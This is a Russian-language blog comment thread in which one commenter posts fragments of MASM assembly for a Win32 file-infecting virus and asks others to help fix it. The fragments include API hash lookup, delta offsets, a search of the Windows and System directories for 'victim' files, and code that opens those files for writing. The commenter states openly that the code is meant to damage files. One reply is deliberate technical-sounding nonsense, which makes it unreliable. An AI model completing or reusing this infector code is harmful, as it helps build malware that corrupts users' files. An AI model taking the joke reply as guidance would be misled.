    mov edi, [esp+4*5] ; edi = дельта_смещение
    lea edi, [edi+HashTable] ; edi указывает на начало HashTable
    mov ebp, esp ; сохраняем базу стека

    _BeginSearch:
    mov ecx, [ebp+4*4] ; число имен функций
    add delta_off
    xor edx, edx ; здесь хранится порядковый номер
    ; функции (от 0)
    _SearchAPIName:
    mov esi, [ebp+4*1]
    mov esi, [esi]
    add esi, ebx ; адрес ASСII-имени очередной API-
    ; функции

    ; подсчет хэш-значения от имени функции
    _GetHash:
    xor eax, eax
    push eax
    _CalcHash:
    ror eax, 7
    xor [esp],eax
    lodsb
    test al, al
    jnz _CalcHash
    pop eax

  18. Kadmi, вот модифицировал, чать кода и практически победил

    ; Загружаем user32.dll
    pushz "user32.dll"
    call LoadLibrary
    push eax

    ; Находим MessageBoxA
    pushz "MessageBoxA"
    push eax
    call GetProcAddress
    call OpenProcess,PROCESS_ALL_ACCESS,1,PID

    if(hProcess == NULL)
    {
    MessageBoxA(NULL, "You have not enough rights to attach dlls", "Error!", 0);
    return FALSE;
    }

    .endif
    Вот, что выдает компилятор - http://s45.radikal.ru/i109/1208/59/fbca12875c41.jpg

  19. Тогда посоветуй, как вызывав функцию MessgeBooxA, передать ей неверные параметры,что бы она вернула ошибку в этом фрагменте кода

  20. Я просто пишу сам вредоносный код,управление которому должна передать программа и он должен выполнять. какието деструктивные действия,вредить файлам,можешь подкинуть пример

  21. Ну вот в японцы записался. Я в google юзал и на сайте майкрософт, это проблема связана с компилятоами,а как решить, они не знают, также на форумах

  22. Я ассемблер серьеозно изучаю,сотни статей проитал по masm32,сайты майкрофост,форумы а ты шутками отстреливаешся,наверняка ошибка тебе эта встречалась и решение знаешь

    1. А я его как раз таки не изучаю и ни одной статьи по нему не прочел в общем-то.
      Не говоря уже о том, что не занимался компиляцией чужого кода.

  23. В этом чужом коде было много ошибок, которе я нашел,логических они были введены специальной,я тебе показывал 25 синтаксических ошибок, и я доработал сам код внеся изменения

    1. Ну а причем тут я то? На ассемблере можно сказать не пишу, в чужом коде на этом языке не копался, ошибок таких не встречал.

  24. Так например был установлен в 0 CheckVictimSize equ,0 - проверка размера файла отключены,в результате не выполнялось условие.

    mov ebx, CheckVictimSize
    .IF ebx && eax > MaxVictimSize
    ; Размер не подходит. Пропускаем файл
    jmp _FindNextFileA
    .ENDIF

    и это приводило к ошибке при проверке рамзера и получние
    рамзера файла жерты.

    Я снял ограничения на запись в директории,добавил и откорректировал дельта смещения. В коде дофига ошибок было,исправил,проссматривая каждую строку кода и анализируя ошибки выдаваемые компилятором и вот 4-е ошибки,но ошибка A2154 - полная задница

    1. Эта ошибка возникает, когда флудишь в чужих блогах, а самому подумать лень. И еще когда не знаешь синтаксис MASM32 и пишешь .if без .endif, например, или что-то в этом духе.

      1. dx, все испробовал, как победить

        cmp word ptr [edi+4],0FFFFh ; Конец списка?
        je Call_API
        add edi, 4

        Не может распознать символ Call_API -?

      2. dx, помоги объявил структуры на masm, что не так-?

        fd_structur STRUCT
        fd_VirtualAddress dd ?
        fd_isize dd ?
        fd_struct ENDS

        fd_struct STRUCT
        fd_Magic dw ?
        fd_MajorLinkerVersion db ?
        fd_MinorLinkerVersion db ?
        fd_SizeOfCode dd ?
        fd_SizeOfInitializedData dd ?
        fd_SizeOfUninitializedData dd ?
        fd_AddressOfEntryPoint dd ?
        fd_BaseOfCode dd ?
        fd_BaseOfData dd ?
        fd_ImageBase dd ?
        fd_SectionAlignment dd ?
        fd_FileAlignment dd ?
        fd_MajorOperatingSystemVersion dw ?
        fd_MinorOperatingSystemVersion dw ?
        fd_MajorImageVersion dw ?
        fd_MinorImageVersion dw ?
        fd_MajorSubsystemVersion dw ?
        fd_MinorSubsystemVersion dw ?
        fd_Win32VersionValue dd ?
        fd_SizeOfImage dd ?
        fd_SizeOfHeaders dd ?
        fd_CheckSum dd ?
        fd_Subsystem dw ?
        fd_DllCharacteristics dw ?
        fd_SizeOfStackReserve dd ?
        fd_SizeOfStackCommit dd ?
        fd_SizeOfHeapReserve dd ?
        fd_SizeOfHeapCommit dd ?
        fd_LoaderFlags dd ?
        fd_NumberOfDirectories dd ?
        fd_DataDirectory IMAGE_DATA_DIRECTORY
        fd_Directories rb IMAGE_DATA_DIRECTORY*15
        fd_struct ENDS

  25. Я нашел где ошибка, неверно задан параметр переменной:

    MaxVictimSize equ 35 * 1024 - устанавливает ограничения на размер файла.

    CheckVictimSize equ
    MaxVictimSize equ 35 * 1024

    Ели установить CheckVictimSize equ 1 - включение проверки разера
    выдает кучу ошибок, как подправить-?

      1. Можно объявлять секцию данных, если файловый инфектор написанный в базонезависимом коде,корректируется по дельта смещению и таким образом мы имеем VA адреса секции экспорта, то есть VA=RVA + база - реальные адреса, к которым может обратится программа во втором поколении с корректировкой по delta_off-?

        1. Конечно можно, но для этого нужно изменить таблицу релокаций процесса с учетом дельта смещения, а также не забыть выровнять указатели по imagesize загруженных модулей, проверив соответствие RVA сегмента значению в TEB и TLS коллбэках. При этом симметричный секретный ключ должен диссонансно опираться на автогенеренную загрузчиком последовательность, что позволит ДНК правильно скооперироваться с едиными неконстантными палладиевыми энерготропами. После этого следует разыменовать указатель влево (не вправо, обязательно влево), и он будет содержать адрес улицы, на которой и заложена бомба. В процессе разминирования обязательно применение холодного хлороформа, в противном случае может произойти автоматическое самоуничтожение PE-файла.

        2. То есть мне придется переписывать код, который я и так практически весь исправил, он выдавал только три ошибки,хорошо я встроил ТЕВ,хотя про TEB и TLS вообще сегодня услышал выдает http://s60.radikal.ru/i168/1209/c8/b8b2e613d763.jpg

          error A2008 syntax error: format
          fatall error A1000: Connot open file: 'include\Win32a.inc'

      2. То есть нужно предусмотреть TEB и TLS - привязать данные и программу к потоку,а как проверить соответствие RVA сегмента значению в TEB и TLS коллбэках -?

  26. также как исправил этот фрагмент кода:

    ; Вызываем MessageBoxA
    push 24h
    pushz "Заражение"
    pushz "Вы действительно хотите запустить эту программу?"
    push 0
    call eax
    mov eax, 7
    mov ebx, eax
    pop eax

    ; Освобождаем библиотеку user32.dll
    push eax
    call FreeLibrary

    ; Если пользователь отказался запускать программу - выходим
    cmp ebx, 7 ; IDNO
    je ExitVirus

  27. Тажке как и расширил поиск файлов в директориях:

    lea edi,[ebx+WindowsDir] ; Указатель на 1ую директор.
    add edi, delta_off
    push 7Fh ; Размер буфера
    push edi ; Адрес буфера
    call [ebx+_GetWindowsDirectoryA] ; Получаем директорию Windows
    add edi,7Fh ; Указатель на 2ую директор.
    push 7Fh ; Размер буфера
    push edi ; Адрес буфера
    call [ebx+_GetSystemDirectoryA] ; Получаем системную дир.

  28. Исправил фрагмент кода, логическая ошибка в цикле проверки атрибутов,в результате програма не могла открыь ни один файл:

    ; Проверяем атрибуты
    mov eax, OFFSET WFD_dwFileAttributes
    mov eax, [eax]
    .IF !(eax & FILE_ATTRIBUTE_HIDDEN || eax & FILE_ATTRIBUTE_SYSTEM )
    ; Атрибуты не подходят. Пропускаем файл
    jmp _FindNextFileA
    .ENDIF

    ; Проверяем размер файла
    mov eax, OFFSET WFD_nFileSizeLow
    mov eax, [eax]
    mov ebx, CheckVictimSize
    .IF ebx && eax > MaxVictimSize
    ; Размер не подходит. Пропускаем файл
    jmp _FindNextFileA
    .ENDIF

    ; Открываем файл
    push 0
    push FILE_ATTRIBUTE_NORMAL
    push OPEN_EXISTING
    push 0
    push FILE_SHARE_READ OR FILE_SHARE_WRITE
    push GENERIC_READ OR GENERIC_WRITE
    mov eax, OFFSET WFD_szFileName
    push eax
    call CreateFileA
    inc eax
    jz _FindNextFileA ; Не удалось открыть. Продолжаем поиск
    dec eax
    push eax ; Сохраним hFile

  29. как прописать hFile,hFind в системном хидере, я так понимаю это в структуре IMAGE_OPTIONAL_HEADER32 STRUCT библиотеке windows.inc, только конкретно а то очень мало инфы в сети-?

      1. Вчера хотел про эту ошибку спросить меня, перебрасывает на другую страницу c назвнием delete ban(как то так)

        1. Вопрос как обяъвить(описать) все структуры из IMAGE_NT_HEADERS,что бы исходник откомпилировался уже в конец в exe-файл!

  30. Нашел в чем ошибка в коде, хитрвый макрос sztex заталкивал весь код по поиску базы kernel32 и тиблицы экспорта из переменной в стек, до вызова Loadliybery а данные записываются в секцию кода,

    pusha
    push esp
    push 40h
    push OFFSET end_data - OFFSET begin_data
    mov eax, OFFSET begin_data
    add eax, delta_off
    push eax
    call VirtualProtect
    popa

    Но для записи полученных данных программа должна обратится к коду содержащему адрес базы kernel32, тиблицы экспорта и секции экспортируемых функций, код должен идти после вызова

    call LoadLibrary то, есть

    ; Загружаем user32.dll
    pushz "user32.dll"
    call LoadLibrary
    push eax

    далее следует сам вирусный код, затем данные

  31. как в локалках определить следующие переменные-?

    CloseHandle
    FindFirstFileA
    FindNextFileA
    CreateFileA
    ReadFile
    GlobalAlloc
    GetFileSize
    SetFilePointer
    WriteFile
    GlobalFree
    VirtualProtect
    _ExitProcess
    GetProcAddress
    LoadLibrary
    FindClose
    GetModuleFileNameA
    SetCurrentDirectoryA
    FreeLibrary

  32. tiDebil:DWORD ЭТО я так понимаю нахрен чернвй юмор твой,такого префикса вообще в masm нет!можно и так объявить dxtiDebil:DWORD

  33. Это dx первый начал,если я спрашиваю про прототипы функций, что нельзя дать ссылку на недокументированные API-?

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *